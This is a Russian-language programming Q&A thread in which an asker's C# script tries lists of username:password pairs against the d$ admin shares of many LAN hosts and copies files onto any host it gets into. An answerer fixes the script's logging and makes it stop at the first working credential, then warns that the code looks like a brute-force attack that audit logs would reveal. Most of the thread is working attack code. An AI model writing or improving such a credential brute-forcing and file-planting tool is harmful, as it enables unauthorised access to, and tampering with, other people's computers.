Запись в лог результата

помогите пожалуйста, как можно записать в лог log.txt, только тогда, когда произошло подключение к папке Dir,а во всех остальных случаях записывал в другой лог (error.txt) либо путь не найден,либо нет подключения. Возможно через конструкцию if , else , но не могу додуматься,так как записывает все попытки подключения

string[] ip = File.ReadAllLines("Ip.txt");
string[] logins = File.ReadAllLines("logins.txt")
string firstDir = @"\\user\File";

for (int i = 0; i < ip.Length; i++)
{
    try
    {
        foreach (var acc in logins)
        {
            var user = acc.Trim().Split(new[] { ':', ';' });
    
            string secondDir = $@"\\{ip[i]}\d$\Dir";
            ConnectToShare(secondDir, user[0], user[1]); 
            foreach (string sourcePath in 
            Directory.EnumerateFiles(firstDir))
            {
                string fileName = Path.GetFileName(sourcePath);
                string targetPath = Path.Combine(secondDir, fileName);
                File.Copy(sourcePath, targetPath);
            }
            DateTime currtime = DateTime.Now;
            using (System.IO.StreamWriter file = new System.IO.StreamWriter(@"log.txt", true))
            {
                string tmptxt = String.Format("{0:yyMMdd hh:mm:ss} {1}", currtime, ip[i]);
                file.WriteLine(tmptxt);
                file.Close();
            }
            DisconnectFromShare(secondDir, false);
        }
        catch (Exception)
        {
            DateTime currtime = DateTime.Now;
            using (System.IO.StreamWriter file = new System.IO.StreamWriter(@"error.txt", true))
            {
                string tmptxt = String.Format("{0:yyMMdd hh:mm:ss} {1}", currtime,  ip[i]);
                file.WriteLine(tmptxt);
                file.Close();
            }
        }
    }
}

Ответы (1 шт):

Автор решения: aepot

Как я понял, вы что-то такое хотите.

string[] ip = File.ReadAllLines("Ip.txt");
string[] logins = File.ReadAllLines("logins.txt")
string firstDir = @"\\user\File";
char[] splitChars = new[] { ':', ';' };

for (int i = 0; i < ip.Length; i++)
{
    bool success = false;
    List<string> errors = new List<string>();
    foreach (var acc in logins)
    {
        try
        {
            string[] user = acc.Trim().Split(splitChars);
    
            string secondDir = $@"\\{ip[i]}\d$\Dir";
            ConnectToShare(secondDir, user[0], user[1]); 
            foreach (string sourcePath in Directory.EnumerateFiles(firstDir))
            {
                string fileName = Path.GetFileName(sourcePath);
                string targetPath = Path.Combine(secondDir, fileName);
                File.Copy(sourcePath, targetPath);
            }
            success = true;
            File.AppendAllLines("log.txt", new[] { $"{DateTime.Now:yyMMdd hh:mm:ss} {ip[i]} Success {user}" });
            DisconnectFromShare(secondDir, false);
            break; // если до сюда дошло, значит успех, значит дальше перебирать нет смысла
        }
        catch (Exception ex)
        {
            errors.Add($"{DateTime.Now:yyMMdd hh:mm:ss} {ip[i]} {ex.Message}");
        }
    }
    if (!success)
        File.AppendAllLines("log.txt", new[] { $"{DateTime.Now:yyMMdd hh:mm:ss} {ip[i]} Failure" });
    if (errors.Count > 0)
        File.AppendAllLines("error.txt", errors);
}

Предупреждаю, что этот код похож на вредоносный. Он по всей видимости проводит брутфорс-атаку на компьютеры в локальной сети.

Если у этой сети есть администратор, то учтите, что каждый атакованный компьютер пишет логи аудита, то есть в частности успешных и неуспешных подключений по сети. И администратор этой сети без труда увидит когда, сколько раз, и с какого компьютера была произведена атака. А следом возьмет вас за зад и выведет на чистую воду. Не делайте необдуманных поступков.

→ Ссылка